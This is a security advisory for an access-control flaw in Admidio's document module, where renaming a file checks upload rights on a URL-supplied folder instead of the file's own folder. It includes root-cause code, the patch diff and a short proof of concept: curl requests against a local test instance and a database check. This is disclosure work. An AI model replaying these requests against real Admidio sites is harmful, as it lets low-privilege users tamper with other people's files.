Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Description
Summary
modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.
Details
Vulnerable
Code
modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:
if ($getMode != 'list' && $getMode != 'download') {
$folder = new Folder($gDb);
$folder->getFolderForDownload($getFolderUUID);
if (!$folder->hasUploadRight()) {
$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
}
}
src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
$file = new File($this->db);
$file->getFileForDownload($fileUUID); // <-- view rights, not upload
...
$oldFile = $file->getFullFilePath();
$newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
$newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
FileSystemUtils::moveFile($oldFile, $newPath . $newFile);
$file->setValue('fil_name', $newFile);
$file->setValue('fil_description', $newDescription);
$file->save();
...
}
getFileForDownload() enforces only the *download* (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.
Exploitation
Primitive
1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have *view* (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…). 2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes. 3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.
PoC
Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):
$ curl -sb $cookie \
"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session
$ curl -sb $cookie -X POST \
"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
-d "adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21"
{"status":"success", …}
$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \
-e "SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';"
fil_fol_id fil_name fil_description
7 hijacked_announcement.txt Hijacked!
The folder ID fil_fol_id=7 is view_only_public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.
Impact
A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:
- Defacement of public announcements / policies / circulars. A regular member can replace
admin_announcement.txtwithhijacked_announcement.txtand a description that misrepresents the content. Other readers see the malicious metadata. - Renaming-to-confuse. Files can be renamed to identifiers that imply different content (
board_minutes_2025-Q4.pdf→board_minutes_DRAFT-do-not-distribute.pdf). - Description-as-XSS-vector (downstream): if any view path treats
fil_descriptionas raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.
The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.
Recommended
Fix
DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:
// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
$file = new File($this->db);
$file->getFileForDownload($fileUUID);
// verify the current user has upload (write) right on the file's parent folder,
// not just download right (which getFileForDownload enforces)
$sourceFolder = new Folder($this->db);
$sourceFolder->readData($file->getValue('fil_fol_id'));
if (!$sourceFolder->hasUploadRight()) {
throw new Exception('SYS_NO_RIGHTS');
}
...
}
Equivalently, in modules/documents-files.php case 'file_rename_save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file_uuid independently of folder_uuid.
Related
This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder_uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file_uuid) closes both.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Admidio's file rename endpoint checks upload rights on the wrong folder parameter, allowing users with upload access to any folder to rename files in other viewable folders.
Vulnerability
The modules/documents-files.php endpoint with mode file_rename_save contains an Insecure Direct Object Reference (IDOR) vulnerability. The top-level rights check at lines 79–89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on a separate URL parameter file_uuid. The DocumentsService::renameFile() method resolves the file via getFileForDownload(), which only enforces read (download) permissions on the file's parent folder, and does not re-verify upload rights. Affected versions include Admidio releases prior to the patch for CVE-2026-47230. [1][2]
Exploitation
An attacker must have an active session with upload rights on at least one folder in the Admidio instance and must be able to view (download) a file located in a different folder where they lack upload permissions. The attacker can craft an HTTP request to documents-files.php with mode=file_rename_save, supplying folder_uuid of a folder they can upload to and file_uuid of a target file in another folder. The top-level check passes because of the permissive folder_uuid, then renameFile() renames the file (and optionally overwrites its description) without any further upload-right verification. [1][2]
Impact
A successful attack allows a user with upload rights on any folder to rename arbitrary viewable files in folders where they do not have upload permission. The attacker can also modify the file's description. The file remains in its original folder but with an altered name, which could cause confusion, hide malicious content, or disrupt document organization. This is an integrity impact with no direct privilege escalation or data disclosure beyond what the user can already view. [1][2]
Mitigation
The vulnerability is fixed in the Admidio advisory GHSA-q6w3-hpfv-rg36. Users should apply the patch that introduces an explicit hasUploadRight() check on the file's actual parent folder within renameFile(). The fix ensures that the rename operation, which uses file_uuid, verifies the user's upload permission on the folder containing that file. No workaround is provided; updating to the patched version is recommended. [1][2]
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
159a08a5f4587Folder rights not checked when working with files #2035
2 files changed · +9 −8
modules/documents-files.php+7 −5 modified@@ -62,11 +62,7 @@ 'download') ) ); - $getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', - array( - 'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download')) - ) - ); + $getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid'); $getFileUUID = admFuncVariableIsValid($_GET, 'file_uuid', 'uuid'); // Check if the module is activated @@ -77,6 +73,12 @@ } if ($getMode != 'list' && $getMode != 'download') { + if ($getFileUUID !== '') { + // when file UUID is set then read the folder of that file from database and check the rights + $file = new File($gDb); + $file->readDataByUuid($getFileUUID); + $getFolderUUID = $file->getValue('fol_uuid'); + } // check the rights of the current folder // user must be administrator or must have the right to upload files $folder = new Folder($gDb);
src/UI/Presenter/DocumentsPresenter.php+2 −3 modified@@ -92,7 +92,7 @@ public function createFileRenameForm(string $fileUUID): void $form = new FormPresenter( 'adm_documents_file_rename_form', 'modules/documents-files.rename.tpl', - SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/documents-files.php', array('mode' => 'file_rename_save', 'folder_uuid' => $this->folderUUID, 'file_uuid' => $fileUUID)), + SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/documents-files.php', array('mode' => 'file_rename_save', 'file_uuid' => $fileUUID)), $this ); $form->addInput( @@ -592,14 +592,13 @@ public function createList(): void 'url' => SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/documents-files.php', array( 'mode' => 'file_rename', - 'folder_uuid' => $this->folder->getValue('fol_uuid'), 'file_uuid' => $row['uuid'] )), 'icon' => 'bi bi-pencil-square', 'tooltip' => $gL10n->get('SYS_EDIT') ); $templateRow['actions'][] = array( - 'url' => SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/documents-files.php', array('mode' => 'move', 'folder_uuid' => $this->folder->getValue('fol_uuid'), 'file_uuid' => $row['uuid'])), + 'url' => SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/documents-files.php', array('mode' => 'move', 'file_uuid' => $row['uuid'])), 'icon' => 'bi bi-folder-symlink', 'tooltip' => $gL10n->get('SYS_MOVE_FILE') );
Vulnerability mechanics
Root cause
"The top-level rights check validates `hasUploadRight()` on the URL parameter `folder_uuid` rather than on the actual folder containing the file identified by `file_uuid`, and `DocumentsService::renameFile()` never re-verifies upload rights on the file's source folder."
Attack vector
An attacker with upload rights on any folder A can rename a file in folder B as long as they have view (download) access to that file. The attacker renders the rename form by passing a `folder_uuid` of a folder they can upload to alongside the target `file_uuid` of a file in a different folder. The top-level check passes because it only inspects `folder_uuid`, and `DocumentsService::renameFile()` only enforces download rights via `getFileForDownload()`, never verifying upload rights on the file's source folder [ref_id=1][ref_id=2].
Affected code
The vulnerability resides in `modules/documents-files.php` lines 79-89, where the top-level rights check validates `hasUploadRight()` on the URL parameter `folder_uuid` but the rename operation acts on the separate `file_uuid` parameter. The service method `DocumentsService::renameFile()` in `src/Documents/Service/DocumentsService.php` resolves the file via `getFileForDownload()` (view-only) and never re-verifies upload right on the file's actual parent folder [ref_id=1][ref_id=2].
What the fix does
The patch in `modules/documents-files.php` resolves the file's parent folder from the database when `file_uuid` is set, then uses that folder UUID for the rights check instead of the user-supplied `folder_uuid`. It also removes `folder_uuid` from the rename and move URLs in `DocumentsPresenter.php`, preventing the attacker from controlling which folder is checked. This ensures `hasUploadRight()` is evaluated against the actual source folder of the file being renamed [patch_id=3130372].
Preconditions
- authAttacker must have upload rights on at least one folder in the Documents module
- authAttacker must have view (download) rights on the target file in a different folder
- inputAttacker must know or guess the file UUID of the target file
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.